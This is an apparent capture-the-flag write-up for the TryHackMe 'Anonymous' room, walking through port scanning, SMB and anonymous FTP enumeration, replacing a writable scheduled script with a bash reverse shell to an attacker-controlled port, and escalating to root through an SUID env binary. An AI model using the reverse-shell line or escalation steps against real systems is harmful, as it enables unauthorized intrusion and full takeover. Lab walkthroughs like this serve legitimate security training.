---
# System prepended metadata

title: 'Writeup [Anonymous](https://tryhackme.com/room/anonymous)'

---

# Writeup [Anonymous](https://tryhackme.com/room/anonymous)

## 

> Let's connect and start the box
> as soon as we get ip first start the port scan.
> ***==nmap -p- -A -Pn <ip>==***
```
PORT    STATE SERVICE      REASON
21/tcp  open  ftp          syn-ack
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx    2 111      113          4096 Jun 04  2020 scripts [NSE: writeable]
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.4.67.68
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp  open  ssh          syn-ack
| ssh-hostkey: 
|   2048 8b:ca:21:62:1c:2b:23:fa:6b:c6:1f:a8:13:fe:1c:68 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCi47ePYjDctfwgAphABwT1jpPkKajXoLvf3bb/zvpvDvXwWKnm6nZuzL2HA1veSQa90ydSSpg8S+B8SLpkFycv7iSy2/Jmf7qY+8oQxWThH1fwBMIO5g/TTtRRta6IPoKaMCle8hnp5pSP5D4saCpSW3E5rKd8qj3oAj6S8TWgE9cBNJbMRtVu1+sKjUy/7ymikcPGAjRSSaFDroF9fmGDQtd61oU5waKqurhZpre70UfOkZGWt6954rwbXthTeEjf+4J5+gIPDLcKzVO7BxkuJgTqk4lE9ZU/5INBXGpgI5r4mZknbEPJKS47XaOvkqm9QWveoOSQgkqdhIPjnhD
|   256 95:89:a4:12:e2:e6:ab:90:5d:45:19:ff:41:5f:74:ce (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPjHnAlR7sBuoSM2X5sATLllsFrcUNpTS87qXzhMD99aGGzyOlnWmjHGNmm34cWSzOohxhoK2fv9NWwcIQ5A/ng=
|   256 e1:2a:96:a4:ea:8f:68:8f:cc:74:b8:f0:28:72:70:cd (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDHIuFL9AdcmaAIY7u+aJil1covB44FA632BSQ7sUqap
139/tcp open  netbios-ssn  syn-ack
445/tcp open  microsoft-ds syn-ack

Host script results:
|_clock-skew: mean: 0s, deviation: 1s, median: 0s
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 45858/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 40699/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 37880/udp): CLEAN (Failed to receive data)
|   Check 4 (port 23981/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| nbstat: NetBIOS name: ANONYMOUS, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|   ANONYMOUS<00>        Flags: <unique><active>
|   ANONYMOUS<03>        Flags: <unique><active>
|   ANONYMOUS<20>        Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
|   WORKGROUP<00>        Flags: <group><active>
|   WORKGROUP<1d>        Flags: <unique><active>
|   WORKGROUP<1e>        Flags: <group><active>
| Statistics:
|   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|_  00 00 00 00 00 00 00 00 00 00 00 00 00 00
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: anonymous
|   NetBIOS computer name: ANONYMOUS\x00
|   Domain name: \x00
|   FQDN: anonymous
|_  System time: 2022-06-18T14:21:43+00:00
| smb2-time: 
|   date: 2022-06-18T14:21:43
|_  start_date: N/A
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   3.1.1: 

```
### So let's answer the basic qustion asked
- [x] **No of ports open - 4**
- [x] **Service running on port - 21**
- [x] **Service running on the port 139,445 - smb**
    
    
## Let's start the enumeration 
> First and the most interesting thing we find in smb is running on it let's find what in it!!
    ***==smbclient -L <ip>==***

```
Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        pics            Disk      My SMB Share Directory for Pics
        IPC$            IPC       IPC Service (anonymous server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP            ANONYMOUS
```
let's check every shares there.
    ***==smbclient  //<ip>/sharename==***
    
>Nothing found in `print$` and `IPC$`. But there were some images in pics but they were also of no use.
![](https://i.imgur.com/Mb9oadk.png)
![](https://i.imgur.com/MYDGERQ.png)

>Now let's check the `ftp`service going on
    
    
![](https://i.imgur.com/BBi62sV.png)
![](https://i.imgur.com/Dia3xFr.png)

>Now let's check the files that we retrieved
    
>`clean.sh`
![](https://i.imgur.com/j95bTTZ.png)

    
>removed_files.log
![](https://i.imgur.com/jN5IiZk.png)
    
>`to_do.txt`
![](https://i.imgur.com/zJMpa31.png)
    
>We can see there is read write permission on clean.sh and it is getting executed too and the the data goes to removed_files.log.So we got the idea and that is getting **reverse shell** on it
lets change the `clean.sh`
***==`vim clean.sh`==***
```
#!/bin/bash

bash -i >& /dev/tcp/<ip>of your system/9005 0>&1


python -c 'import pty; pty.spawn("/bin/bash")'
```
>lets send it to ftp by 
    **==`put clean.sh`==**
    
>the now listen on our local machine 
***==nc -lnvp 9005==***
![](https://i.imgur.com/C5HYgEp.png)
## Here come the user flag
    
![](https://i.imgur.com/fave5Ka.png)

## Now let's do privilage exclation and get root flag
>lets find suid binaries for privillage escallation
    
***==find / -perm 4000 2>/dev/null==***
![](https://i.imgur.com/yHYQu77.png)
>we can see among all binary env is the one that usually doesn't have suid .

> We can search for privillage escallation throught env by cheat sheet from [Gtfobin](https://https://gtfobins.github.io/)

lets use
    ***==/usr/bin/env /bin/sh -p==***
    
>And that's what webcome root
 just cat root.txt from root
![](https://i.imgur.com/DIcf7mF.png)
